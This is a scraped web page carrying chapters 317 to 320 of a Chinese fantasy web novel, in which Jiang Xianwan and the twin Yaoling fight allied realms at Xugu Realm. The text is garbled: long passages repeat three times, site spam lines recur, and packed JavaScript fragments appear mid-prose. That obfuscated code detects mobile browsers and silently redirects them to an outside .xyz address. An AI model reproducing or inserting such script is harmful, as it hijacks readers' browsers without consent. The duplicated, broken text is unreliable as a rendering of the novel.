d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259753|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家做客吗!” “不是说马上到边境了吗?” “客呢?” “丢了?做别人家了?啊?回答我!” 辛熠捂着脑壳上的包,拿智慧的小眼神瞅她,“可能……真丢了,上别人家了。” 又瞪了瞪眼珠子。 问。 “皇,你今天话咋这么密?” 绯雨围着她走了三圈,“别说,皇,你长嘴了?要不,你再说一句试试呢?” “你知道你刚才把我问的,都懵逼了么?” 暮殇点点头,“这回我不跟你俩抬杠,皇,你今天话多的,让我害怕,又叫我狂喜不已。” “别说那什么三日不见,刮目相看,六个月不见,你是大有改善!” “我觉得吧,你嘴碎的样子还挺好看。” 皇都是一个字一个字,往外蹦的。 上天垂怜啊! 她说了好多个字! 妈呀! 喜普大奔,喜普大奔! 高低得摆上两桌! 江献晚:“……”这特么是重点吗! 她话哪里密了! 到底是谁话密! 果断,一个又给了一捶。 —— 中州。 又名虚古境。 万千身影立于虚空,遮天蔽日,犹如天兵临世。 声讨声四起,朝手持厄弓,一袭黑衣,立于虚空的灵休帝尊倾轧而去。 为首的四个,赫然是玄古大陆历史课本上,三百年前的尊、帝、皇。 江献晚匆匆赶到,旋身落于树干。 再次沉默。 别说,辛熠那个乌鸦嘴,还真给他说中了。 这两境两域,特么眼睛都长脚底板了吧,做客给做到虚古境去了? **吧。 还是看不起她? 江献晚微微眯眸,扫过密密麻麻,列阵四方的两境两域。 待发现那华光色倾,一半面遮颜的清隽身形,十指猝然收紧,如坠冰窟。 双生子,竟然醒了! 还在她前,先回到了虚古境! 分明是预判了她的想法。 故意装睡,放松她的警惕! 主动出击,将大战扭转到了虚古境! 江献晚眼底凝冰,心脏却像被一只无形的巨手攥上,让她喘不过气。 难道这场大战,注定发生在中州,无法逆转。 不要!我得埋起来!” “三王,咱皇呢?!!” 三王:“早走了!蠢货!” 刹那间,那些干什么都有的无数黑影,火急火燎,嗷嗷直叫,群魔乱舞,鬼撵似的直冲云霄。 江献晚回眸望了一眼,那铺天盖地,几乎将乌云都遮住的震撼场面,眼眶逐渐湿润。 半个小时后。 这种湿润,在她给了三王一个一捶之后,消失不见! “你们不是说他们来咱们家做客吗!” “不是说马上到边境了吗?” “客呢?” “丢了?做别人家了?啊?回答我!” 辛熠捂着脑壳上的包,拿智慧的小眼神瞅她,“可能……真丢了,上别人家了。” 又瞪了瞪眼珠子。 问。 “皇,你今天话咋这么密?” 绯雨围着她走了三圈,“别说,皇,你长嘴了?要不,你再说一句试试呢?” “你知道你刚才把我问的,都懵逼了么?” 暮殇点点头,“这回我不跟你俩抬杠,皇,你今天话多的,让我害怕,又叫我狂喜不已。” “别说那什么三日不见,刮目相看,六个月不见,你是大有改善!” “我觉得吧,你嘴碎的样子还挺好看。” 皇都是一个字一个字,往外蹦的。 上天垂怜啊! 她说了好多个字! 妈呀! 喜普大奔,喜普大奔! 高低得摆上两桌! 江献晚:“……”这特么是重点吗! 她话哪里密了! 到底是谁话密! 果断,一个又给了一捶。 —— 中州。 又名虚古境。 万千身影立于虚空,遮天蔽日,犹如天兵临世。 声讨声四起,朝手持厄弓,一袭黑衣,立于虚空的灵休帝尊倾轧而去。 为首的四个,赫然是玄古大陆历史课本上,三百年前的尊、帝、皇。 江献晚匆匆赶到,旋身落于树干。 再次沉默。 别说,辛熠那个乌鸦嘴,还真给他说中了。 这两境两域,特么眼睛都长脚底板了吧,做客给做到虚古境去了? **吧。 还是看不起她? 江献晚微微眯眸,扫过密密麻麻,列阵四方的两境两域。 待发现那华光色倾,一半面遮颜的清隽身形,十指猝然收紧,如坠冰窟。 双生子,竟然醒了! 还在她前,先回到了虚古境! 分明是预判了她的想法。 故意装睡,放松她的警惕! 主动出击,将大战扭转到了虚古境! 江献晚眼底凝冰,心脏却像被一只无形的巨手攥上,让她喘不过气。 难道这场大战,注定发生在中州,无法逆转。 不要!我得埋起来!” “三王,咱皇呢?!!” 三王:“早走了!蠢货!” 刹那间,那些干什么都有的无数黑影,火急火燎,嗷嗷直叫,群魔乱舞,鬼撵似的直冲云霄。 江献晚回眸望了一眼,那铺天盖地,几乎将乌云都遮住的震撼场面,眼眶逐渐湿润。 半个小时后。 这种湿润,在她给了三王一个一捶之后,消失不见! “你们不是说他们来咱们家做客吗!” “不是说马上到边境了吗?” “客呢?” “丢了?做别人家了?啊?回答我!” 辛熠捂着脑壳上的包,拿智慧的小眼神瞅她,“可能……真丢了,上别人家了。” 又瞪了瞪眼珠子。 问。 “皇,你今天话咋这么密?” 绯雨围着她走了三圈,“别说,皇,你长嘴了?要不,你再说一句试试呢?” “你知道你刚才把我问的,都懵逼了么?” 暮殇点点头,“这回我不跟你俩抬杠,皇,你今天话多的,让我害怕,又叫我狂喜不已。” “别说那什么三日不见,刮目相看,六个月不见,你是大有改善!” “我觉得吧,你嘴碎的样子还挺好看。” 皇都是一个字一个字,往外蹦的。 上天垂怜啊! 她说了好多个字! 妈呀! 喜普大奔,喜普大奔! 高低得摆上两桌! 江献晚:“……”这特么是重点吗! 她话哪里密了! 到底是谁话密! 果断,一个又给了一捶。 —— 中州。 又名虚古境。 万千身影立于虚空,遮天蔽日,犹如天兵临世。 声讨声四起,朝手持厄弓,一袭黑衣,立于虚空的灵休帝尊倾轧而去。 为首的四个,赫然是玄古大陆历史课本上,三百年前的尊、帝、皇。 江献晚匆匆赶到,旋身落于树干。 再次沉默。 别说,辛熠那个乌鸦嘴,还真给他说中了。 这两境两域,特么眼睛都长脚底板了吧,做客给做到虚古境去了? **吧。 还是看不起她? 江献晚微微眯眸,扫过密密麻麻,列阵四方的两境两域。 待发现那华光色倾,一半面遮颜的清隽身形,十指猝然收紧,如坠冰窟。 双生子,竟然醒了! 还在她前,先回到了虚古境! 分明是预判了她的想法。 故意装睡,放松她的警惕! 主动出击,将大战扭转到了虚古境! 江献晚眼底凝冰,心脏却像被一只无形的巨手攥上,让她喘不过气。 难道这场大战,注定发生在中州,无法逆转。 第 317 章 大战 为首的南境帝尊须发皆张,雷霆厉喝震彻四方。 他负手而立,姿态倨傲至极,仿佛在俯视蝼蚁一般,将居高临下的蔑视之态,展现得淋漓尽致。 可以看见一双朝天的鼻孔。 里面还自带了……一颗小零食。 “灵休!你挑起战争,可曾想过数万生灵会因你涂炭!吾奉劝你速速自戕伏罪!否则我们南北两境今日便要替天行道! 江献晚:“…… 自戕? 伏罪? 就他那熊样,还想替天行道? 不得不说,三百年前这俩帝尊跟云为泽和帝隐比起来……没法比。 一点都没法比。 很有必要怀疑这俩玩意儿,是走后门当上的。 那福气东来肚大如鼓,影子都圆润几分的北帝尊,新衣秒变紧身衣,更是辣眼睛。 往前跨一步时,宛如米其林轮胎人形立牌。?? 厉声附和。 “区区黄口小儿,也配高居一境之尊之位?依吾看,尔不配位,这中州也是该易主了! “今日吾等便替天……呃…… 对上一双微凉的眸,他声音猛地一止。 宛如被突然掐了脖儿的鸡,憋的脸涨红,不自觉被那漠然的气息,逼的后退一步。 意识到这个丢脸的举动,又猛地再踏出一步。 曜灵墨黑的睫羽淡然轻垂,一手执着厄弓,仿佛方才落入耳中的不过是一缕微风。 好整以暇地以指尖抚平衣袖上一丝极细微的褶皱,浑若未闻。 风连郢最讨厌别人对着他,摆出一副做作的劲,这会让他想起他那个吊儿郎当,还杀不死的,同父异母的弟弟! 阴沉地斜睨了一眼风洺霁,再回头,眼角眉梢尽是讥诮的冷意。 “投降,可免一死。我只要灵休的命! 只要他今日能将中州收为囊中之物,妖帝一位,还不是手拿把掐? 风洺霁早晚要死在他手里! 魔皇还是有点聪明在身上的,唇角随之弯起一抹阴翳的弧度。 那笑里藏着无尽的算计与敏锐,叫人无从揣度。 “灵休,你故意选择今日攻打妖魔两 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 域,该不会是……为了界皇吧? 他拖长了调子,声音黏腻嘶哑,像是毒蛇在阴湿的洞穴里嘶嘶吐信,每个字都裹着毫不掩饰的怪诞与恶意。 阴阳怪气的劲儿,听的直叫人不适。 左看右看,上看下看,不管怎么看,与非翎差了不止十万八千里。 报好看! 一点都报好看! 这么一说,两境两域顿时四下议论开来。 “话说,界皇那疯狗天天追着两域和南北两境咬,像瞎了眼,独独对中洲视而不见,她跟灵休帝尊该不会是有什么私情吧? “是吧?我早就发现了,中州沃土**,灵脉纵横,就她那逮谁咬谁的疯狗性子,若说忌惮灵休帝尊,狗都不信。 “原本这场大战关中州什么事,灵休帝尊突然在这个时候攻打魔域和妖域,还用得着怀疑吗?正常人都做不出将两境两域往自己家引,自取灭亡的举动。 “可那疯狗可是杀戮与无情双修,怎么可能会与灵休帝尊有私情? “笨!就不会是灵休帝尊单方面的私情? “你们可曾记得她夜闯中州一事?我倒觉得是界皇与中州达成了什么协议,意图吞并我们两境和妖域魔域! “就界皇那猖狂的样子,用得着跟中州达成协议?她自个都能一挑四,再来一个,有什么区别?放着中州这么个好地段不打,要说他们之间没点什么,我还真不信! 界皇这狗东西真真不是个人,就逮着他们狂啃! 独独对中州视而不见! 针对! 明晃晃的针对! 偏心到姥姥家,简直让人心塞哇凉。 江献晚:“……瞅瞅,嫉妒使人面目全非。 她不打中州还有错了? 她想打就打,不想打就不打,他们自个怎么不反思一下,可能他们比较……不顺眼? 别说,都挺会猜的。 她记得当时她临走的时候,那掌门弱弱的对着她的背影喊了一句。 “那你……打了他们,可就不能再打我了。 江献晚:“…… 面对声浪如潮的议论,曜灵充耳不闻,他神姿皎然,眉眼间似拢着山间雪雾。 晨晖落 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 于其身,衣袂间光华流转,不惹尘埃,静谧中自有云锦天章。 仿佛将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曜灵眼尾吊梢,一双本该是这世间最柔软的水眸,此刻凝积着化不开的寒冷。 雪衣振拂,伴随着一声惨叫骤起,厄弓上一缕骇人的金色灵流,犹自流转不息,映出他眼底冰冷的杀机。 薄唇微动,淡漠的嗓音荡开,蕴含着碾碎一切的恐怖威压。 “你,找死。” 三个字,恍若惊雷炸响在每个人心头,令万物噤声。 也让他们再次见识到灵休帝尊的恐怖实力。 更证实了他们心中的那个猜想:界皇与灵休帝尊,有**! 第 318 章 娶媳妇了吗 风连郢被断一尾,惊骇之余,脸皮痛的抽搐,被削弱一层修为,瞬间使得他暴走。 五指狠狠捏住风洺霁的肩膀,力度之大,恨不得将其肩骨捏碎。 强制性推送了出去。 “看什么!废物!还不快杀了他!” 风洺霁:“……”狗狐狸! “还有你们三个,他与界皇狼狈为奸,此刻再不动手,莫非真要等界皇那疯子亲临,眼睁睁看着这两人将玄古私吞殆尽?!” 两境帝尊与魔皇神色齐齐一变,想到界皇那死样子,还真有可能会主动撵过来,忙各自打了个进攻的手势。 手势未落,鏖战爆发。 漫天剑雨与各色法器已化作流光溢雨,铺天盖地笼罩而去。 伴随烟尘冲天,蹄声如雷,高阶异兽汇聚成一道毁灭一切的黑色狂潮。 所过之处山岩崩碎、大地震颤,以滔天之势奔腾袭来。 面对这毁天灭地的夹击,虚古境五大宗,无一人后退。 为首掌门一声清啸,众长老弟子应声而动。 顷刻间,一道道身影掠位在前,庞大的太极光阵自他们脚下浮现而出,青金二气流转不息,凝结成一道坚不可摧的光壁。 灵力毫无保留地倾泻,以身为基,将整座大阵连成一体,硬生生拦在了洪流之前! 其余人持剑飞掠,身形化作道道流光,如利剑出鞘般直刺两境两域腹地! 妈的! 欺人太甚! 早就想干了! 这两境两域,自个拉的不行,还特么怪别人行? 此刻,三境两域,心中皆是门清,这一场大战,早晚不可避免。 单看今日谁拳头硬,谁来做这个老大! 曜灵面对旁人时,神色便下意识端出几分冷淡,腰身笔直劲瘦,指尖轻抵厄弓之弦,缓缓向后引满。 一抹璀璨的金色流光自他指尖凝聚,渐次化作炽盛夺目的箭矢。 周遭风云随之剧颤,宛如被一股看似轻柔、实则摧山搅海的恐怖力量所牵引,疯狂翻涌起来。 欺负姐姐的人,都该**! 江献晚斜倚在树干上,不悦蹙眉。 打架总得有个先来后到吧? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 不来跟她打,四个欺负双生子算什么? 当她是死的? 面对乱糟糟、突然引爆的大战,她自然而然忽略了曜灵有些发白的面颊,只以为他是面对这样一种情况,心神凝重。 望着那双微微蹙起,似乎总也舒不展的漂亮眉目,江献晚周身灵力轰然爆发,浩瀚威压如天倾般覆压而下! 同时只手一扯,将那被风连郢丢向曜灵,当前锋送命的风洺霁,扯到身旁树干上。 与此同时,剧烈晃动的大地突兀间陷于死寂。 奔腾的兽潮仿佛撞上一堵无形壁垒,如浪推浪,滚作一片片,寸步难进。 下一瞬,前排异兽轰然炸裂,化作漫天血雾弥散! 而那些悬于半空的飞剑与法器,亦在这一刻齐齐剧震。 在万众瞩目下,随即发出一片哀鸣,猛地调转锋芒,以远超来势之威,铺天盖地般朝着两境两域反轰而去! 惨嚎之声,一时间穿云裂石,血色如急雨泼洒。 方才还气势汹汹的两境两域,顷刻阵脚大乱,惊慌四散,溃逃如潮。 两位帝尊,魔皇和风连郢往前冲的身形,更是齐齐一止。 曜灵指尖蓦然一凝,将成的金色箭矢消散泯灭。 “姐姐?” 他目光慌惶侧转,穿透纷乱战阵与扬尘,倏地定格在不远处那身形掩于浓阴密叶中的白衣少女。 那少女散漫地斜倚古树,面具遮颜,青丝如瀑垂落至腰臀,一身白衣若雪,更衬皎洁冷冽。 一手悠然搭在风洺霁的肩上,仿佛感知到他的注视,穿过一切喧嚣,径直望了过来。 曜灵睫羽急颤几下,心下骤慌。 他与休寅头一回对姐姐撒了谎,原想速战速决在她察觉前清理所有阻碍,未料竟被她窥破。 此刻,他如同一个做错事被捉住的孩子,满腔皆是慌乱无措。 可那心虚之下,刚探出头的期翼,立刻被更汹涌的痛楚碾碎。 无数次被轻易抛下的过往,早已将他与休寅那点可怜的自信蚕食殆尽。 他怎敢笃信,在那双向来冷漠的眼眸,突然间多出了他们二人……哪怕半分微末的位置? 曜灵狼狈的偏开视线,不敢窥探那双眼睛,仿佛多看一眼都是奢求与刑罚。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 唯有握着厄弓的指节失控般收紧,用力到泛出嶙峋的白。 姐姐没有情丝,他们向来心知肚明。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280860|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怎么可能会担心他们……恐怕只会觉得他们碍事,多此一举。 方才出手…… 或许,也并不是为了他们…… 那,那六个月的缠绵,在她心中到底算是什么? 现在,她心里,有他与休寅的位置吗? 痛感滚过心尖,休寅鼻尖蓦地一酸,眼底不受控制漫起一片湿意,空茫茫的垂下眼睫,不敢落在那道身影上。 不管姐姐心中有没有他们,是不是嫌他们多事,他与休寅还是要做。 三境表面的风平浪静,早已是**之末。 姐姐要同他们打,他和休寅为何不能趁此平息三境之乱。 到底要趁此平息三境之乱,还是另藏私心,只有双生子心里门清。 江献晚望着那雪白衣袍的少年,眉心微微蹙起。 不解曜灵为何不看她。 她明明留了字,双生子应当不会不知她的心意。 背着她故意去攻打妖域和魔域,使得两境干脆趁着这个难得机会,一齐与他们调头,就没想过她愿不愿意? 不过,身侧年少时的风洺霁,此刻拉走了她所有的心绪。 江献晚无视三境两域瞧见她,各种夸张的反应。 望着那双不可思议,微微睁大的狐狸眸,容貌与风回雪极为相似的少年,忍不住一看再看。 她在记忆里滚了一遭,历经十几个年头,又在山洞里待了六个月。 外界弹指之间,她却觉得时间过的无比漫长。 她已经……十几年没有看见这张脸了。 很想很想风回雪。 也很想花美人他们。 更记挂着行行的安危。 江献晚细细描摹着这张熟悉的面庞,眼底不由沁出一点温热的湿意。 “看什么呢,小狐狸。” “啊?”突然被他那好哥哥丢出来当先锋,又突然被她抓过来的风洺霁有些懵,指了指自己的鼻尖,“你……在跟我说话?” 界皇,竟然主动跟他打招呼了? 她不是从来不跟人讲半个字的废话吗? 不该是,直接杀了他吗? 还用这种湿漉漉的软嗓子与他说话?! 江献晚:“……”她敢杀吗? 风洺霁好歹……也算她爹了吧? 再说,她杀了他,风回雪还不得消失了! 江献晚抿了抿唇,忍不住又问,“娶媳妇了吗?” 第 319 章 都得死 “啊?”风洺霁又是呆呆啊了一声,两只眼睛都不会转了,下意识道:“回家就娶。” 界皇问他娶没娶妻干嘛? 莫不是……看上了他?! 所以,刚才才会用那种语气跟他说话?! 一时间,风洺霁看她的眼神都不对了。 甚至,多出了几分纠结。 “抱歉,那个,我有喜欢的人……呃,狐狸了。” 虽然界皇超厉害,看起来应当长的还很漂亮,简直人间绝色。 可,他是一只有三观有道德的狐狸! 江献晚:“……” 望着那双犹带着些稚嫩的、傻傻的狐狸眸,江献晚无语凝噎。 只能拍拍他的肩。 “你想多了。” 不待他回答,只手一扣,看也不看,随手将他丟向身后远处那座传送大阵。 却不知。 上一次,她也是随手一抓,歪打正着,反手将昏过去的风洺霁,丢破烂似的丟进了传送大阵。 江献晚将他扔出去,留下模糊的一句。 “娶媳妇好啊,娶媳妇就有小狐狸了。” 怎么不算给她生的呢? 风洺霁:“……?” 望着那白衣若雪的少女,他一脸茫然和凌乱,转眼消失在大阵之中。 曜灵微怔,视线穿过重重阻碍,落在那双微微湿红的眼眸,心神骤然一荡,恍惚了一瞬。 姐姐……在哭。 那双眼睛,也会这般哭吗? 那其中翻涌的,是委屈,是思念,是缱绻……甚至像是,一种名为……“爱”的东西。 爱? 意识到那双眼睛也会流露出如此多的陌生情绪,曜灵面颊一瞬苍白,像是被无形巨力,狠狠撞在心口,控制不住地向后踉跄。 他紧紧绞着那双眼睛,眼底如同冰层裂开碎纹,迅速蔓延至整张面孔。 他从未听过姐姐用这样一种语气同任何人说话。 那声音缠绵柔软,像融化的蜜糖,透着一股陌生的暖意,眉眼间亦是前所未见的柔软。 与他所熟知的清冷坚硬,截然不同。 是全然陌生的神情与音色。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 六个月的耳鬓厮磨红绡帐暖间他听过她情动时难以自持酥软甜腻的嗓音双眸也含着泪雾。 却仅仅是情欲催发的声响。 可现在…… 她轻易对着一人坦露出他从未见过的任何一种表情。 曜灵僵立在原地看着她将那人轻轻抛离了战场仿佛担心他的安危一般。 脸上的血色尽数褪去只余一片茫然到近乎无措的可怜。 嘴唇张开一条细缝似乎想说什么却发不出任何声音。 指尖无意识地收紧攥皱了雪白的衣袍袖口像要攥紧那一缕残香厄弓随着他颤抖的指骨亦是嗡鸣不休。 江献晚随手将风洺霁丢出去掩下心底的酸胀随手摘下一片树叶眼尾微微上挑目光再次回到卡顿的战场。 “哟~各位都在呢?” 南北帝尊:“……” 妖域殿下和魔皇:“……” 终于从懵逼中回过神。 这疯狗……怎么来了! 至于吗? 改天再打不行吗? 她就那么喜欢打架? 一天不打特么的会死吗?! 他们不去她还专门从界域撵到中州了?! 有病吧! 至于这么敬业?! 死嘴! 真被说中了! 灵休和界皇该不会真的有**吧?! 四对一可还行四对二这俩战斗力变态到爆表**还疯 妖域魔域和两境瞬间炸开了锅。 “这疯狗怎么来了?!” “我去他俩戴的是情侣面具?!” “界域果然和中州早就勾搭在一起了!” “完了!直接一个骑虎难下这还能打的过吗?界皇肯定不会放过我们的!” “够了!劳资受够了!这日子没法过了!杀了界皇!杀了灵休帝尊!踏平界域!踏平中洲!” “对!杀了他们!为了我们光明而美好的未来而战斗!” 特么搁这把他们当调情剂玩呢? 双强联手又怎样? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他们可是四股势力凝聚,就不信一个都弄不死! 只要死一个,他们的好日子就来了! 南北帝尊:“…… 妖域殿下与魔皇:“…… 真的。 他们好大的勇气。 不知道单是界皇那个疯子,自个就能一打四的吗? 别叫了! 叫的他们……好害怕! 然而,随着铺天盖地的人魔妖抵达战场,局面再次陷入焦灼。 “呵忒——!杀你爹!踏你大爷!一群卑鄙无耻下流放荡的小**! “你们也配吾皇出手!也不撒泡尿照照,给吾皇提鞋都不配! “说好的来做客,做别人家了?特么看不起谁呢?今天这个客,你们不做也得做! “啊啊啊小**!敢用你的鸡爪子指我家高贵的皇! “敢对吾皇不敬!今天不打死,我特么让你爹跟我姓! 以三王为首,简直要蹦到天上去,双手叉腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280861|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唾沫横飞,骂得那叫一个酣畅淋漓,身后的人魔妖更是猖狂。 嘴里问候人家的词,刁钻恶毒,花样百出。 愣是把人家祖宗十八代都从坟里刨出来编排一遍,一个都不带重复的! 两境两域:“…… 直接被骂懵逼了。 打不过界域就算了,还骂不过界域,就……好笑! 真的。 界域这群脑子有病的东西……骂人好脏! 他们跟中州搞在一起,还特么不让人说了? 他们就说! 反正天塌下来,有四个领导顶着! “死到临头还不知悔改!今日我们便踏平中洲!再灭了你们界域! “界皇!我要与你决一死战! “今日不是你死,就是我亡! “区区一境一域,还敢在我们面前嚣张?界皇,瞅瞅你带的兵,恶心——! 江献晚:“…… 一个元婴,跟她决一死战? 谁给她的勇气? 她带的兵恶心? 呵。 弱鸡就是弱鸡,只会从别人身上找理由。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 望着漫不经心,垂眸抚弄指尖的少女,南北帝尊,妖域殿下和魔皇神色不由凝重起来。 前两个最怕灵休帝尊。 后两个最怕界皇。 事已至此,如同赶鸭子上架,已经不是他们想打就打,想不打就不打的了! 今日若合力都解决不了他们两个中哪怕一个,届时丢脸倒无关打紧,等着他们的将会是,虚古境和界域疯狗似的反扑! 不管战是不战,灵休帝尊绝不会放过南北帝尊。 界皇更别说! 她谁都容不下! 该死的灵休,没事闲的难受,在家睡一觉不行吗? 非要在这个时候跟他们来掺和一脚! 这下好了,害的他们不得不调头,没能去界域,反倒是将界皇那狗东西给引过来了! 就没见过他们俩这么贱,主动找人打架的! 四人不约而同交换一个眼神,浑身气势陡然凌厉。 他们若要想活,灵休帝尊和界皇便只能死! 四对二,胜在数目,谁说胜不了? 至少得有一半的机率吧? 江献晚:“……” 一半机率? 那可不行。 这几个活着,以后历史课本上,他们看谁去? 都得死! 话虽如此,江献晚心中难免有些烦躁。 这些人死便**,可再经历一次,她不敢想,双生子是不是也依旧……会死。 第 320 章 趁他病,要他命 曜灵自然也不会给他们反悔的时间。 深知左右不了姐姐的想法那便与姐姐一同面对这一切。 他静立于虚空墨黑的长发如流泉般披在雪衣之上仿佛是山巅最薄的雾霭空灵氤氲。 忍下心口的涩然强迫自己从那抹宛如一缕月华倾落的少女身上移开视线不去想方才姐姐与那位妖域殿下之间的亲密互动。 再抬眼时薄红的眼角染上一层冰冷的杀意。 只要是姐姐想要的 这四个今日一个都别想活着从虚古境走出去! 指尖探出流水般的广袖那手指修长、骨节分明同样白得惊人于弓弦上轻轻一捻。 动作优雅精准得如同拈起一片即将融化的雪花。 “铮!” 一声极高极锐的嘶鸣骤然爆发像是将虚空都撕裂了一道透明的口子音波刺得人神魂悸动! 一道凝练到极致、仿佛能湮灭神魂的金色流光便已离弦而出! 这一声拉开大战的序幕。 几乎同时南北两位帝尊磅礴的威压化作无形的巨山轰然迎上全力牵制! 魔皇和风连郢的目光自然投向了江献晚眼中贪婪与杀机暴涨。 裹挟着蛮荒暴戾的威压从另一侧猛击而至! 三境三域交汇的瞬间江献晚动了。 身形如一道疏淡的云烟从三王中擦身掠过。 “啊啊啊啊啊啊!吾皇好帅!” “啊啊啊!吾皇!!!” “啊啊啊啊啊啊啊啊!吾皇我爱你!” 江献晚:“……” 她五指虚虚一握剑意凝成实形的一刹稳而决绝地握上了那璀璨金光构成的剑柄虚影。 甫一握实一股更为狂暴的撕裂性气流轰然炸开! 震得四方天地嗡嗡作响修为稍弱者只觉神魂都要被这声浪撕扯成碎片。 没有半分迟疑挥剑斩落。 动作简洁甚至堪称优雅。 悍然迎上风连郢翻涌的妖力与魔皇滔天的魔气。 剑光过处那原本遮天蔽日凶戾狂躁的妖气魔气竟如同遇到烈阳的残雪发出 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一声不堪重负的哀鸣,旋即寸寸崩碎,湮灭成虚无! 曜灵始终注意着她,抿了抿苍白的唇,随手将厄弓甩出,左手痕剑裂空,斩落之处,空间扭曲崩裂,乱流嘶鸣。 无人察觉,在这片混乱的风暴中心,他双眸深处已悄然沁开一抹惊心的赤红,如同雪地中绽开的血痕。 泪意汹涌,却被他强行禁锢在眼眶之内,化作一片模糊的水雾。 方才那亲密交谈的一幕,终究化作了一柄最锋利的刃,精准无比地绞断了他的心弦。 使他毫无胜算,会认为六个月的时光,姐姐对他们多一点怜惜。 金色虚剑贯空劈落,江献晚再次蛮横地碎了魔皇的攻势,回腕振剑,挑开风连郢的**,一剑寒光纵掠,断其一尾。 她可没忘。 妖历记载,风洺霁被风连郢打压已久,几次死里逃生。 而风连郢最后还是在这场大战中被她干掉,风洺霁才得以继任本就该属于他的妖帝之位。 断尾会极大的削减修为。 她自然要再杀他一次! 妖帝之位,只能是风回雪的! 六股力量悍然对撞的刹那,风起云涌,天地色变,整个苍穹都为之倾覆。 恐怖的余波如怒海狂涛,将四周所有人、魔、妖尽数掀飞,修为稍弱者,当场便被碾为齑粉。 风连郢再断一尾,锥心蚀骨的剧痛瞬间席卷全身,令他几欲疯狂。 他双目赤红,状若疯魔,一声裹挟着滔天恨意的嘶吼震彻云霄。 “界皇!灵休!今日我风连郢与你二人——不死不休! 打死他都想不到,界皇与灵休的修为,竟已臻至如此通天之境,往日跟他打,压根没使尽全力。 断他两尾,跟特么喝水似的! 失去两尾,便意味着至少折损两层修为。 就算他日后再如何努力修炼,那两尾想要长出来,恐怕也得耗上五百年的光阴! 五百年,黄花菜都特么凉了! 吃屎都赶不上热乎的! 哪还有他风连郢翻身的机会! 不曾想,今日的一切,竟是为那不战而逃、好命的风洺霁做了嫁衣! 望着那因恨意与不甘而极度扭曲的面庞,江献晚一剑荡开 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 魔皇攻势目光扫向被曜灵一剑劈退的两帝尊心头的不安忽然剧烈地扩大、弥散。 直到现在双生子仅现其一便足以牵制南北两帝尊。 她一打二纵然魔皇与风连郢不是吃素的也不过是时间问题。 那么双生子因何陨落? 又为何**那么多修士? 六个强者的恐怖威压笼罩虚古境上空修为低的直接被碾死余下众人被迫止战惊慌溃散纷纷逃离这片天地。 这种级别的厮杀根本不是他们能插手的不过白白枉送性命。 江献晚一边强攻魔皇一边挥剑格挡风连郢愈发癫狂的搏命厮杀。 攻势如狂风骤雨她却仍于间隙之中分出一缕余光始终锁向曜灵的方向。 这么一看心中咯噔一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280862|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 双生子肤色白皙五官如精工雕琢无可挑剔。 曜灵眉梢眼角总似敛着一泓柔软的春水一般眼睛澄澈温柔顾盼间皆是溶溶柔色。 神姿高砌分明是红尘外物。 可此刻那双瞳色稍浅的眸却洇着一层薄薄的水雾微黯的注视着前方透出几分凄清与恍惚。 脸颊两侧更是苍白如雪几乎不见血色。 招数甚至频频走歪凌乱落空。 江献晚眉拧了拧眉。 莫非曜灵与休寅没有看到她的留字? 以为她又抛下了他们? 意欲抽身靠近却被魔皇与风连郢死死咬住一时难以脱身。 二人似也心知肚明此战非生即死皆倾尽全力毫无保留。 吃奶的劲儿恐怕都使出来了。 察觉到江献晚想要靠近的念头曜灵眼睫几不可察地轻颤一抹惹人怜惜的红自魅惑眼尾无声蔓延犹如胭脂泣露。 仅仅是一个轻飘飘的眼神 他抿紧双唇想探一探她的心意可眼前的南北帝尊不会给他这个机会。 